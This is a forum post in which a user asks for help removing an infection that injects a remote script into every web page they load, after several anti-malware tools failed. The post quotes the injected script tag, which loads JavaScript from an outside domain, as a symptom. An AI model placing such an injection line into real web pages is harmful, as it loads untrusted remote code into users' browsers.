You probably have this problem too and you don't know it

Hi guys, I think this is a problem that a lot of you might have on their computers, since I discovered it almost by accident.

When I load a new website -even Google- I see these addresses on the status bar:

Connecting to js.tongji.cn.yahoo.com...

And then I click on View Source to take a look at the HTML code and the first line is a JavaScript that has been injected there somehow. Not only for Google, but for every single website I visit:

<script language="javascript" SRC="http://free.idcads.info/day.js"></script>

I ran AVG, Trend Micro, Hijack This, AdAware 2008, Spybot S&D, and Malwarebytes... and the freaking malware/virus is still there. Can anyone help this hopeless soul, please?

Thank you so much.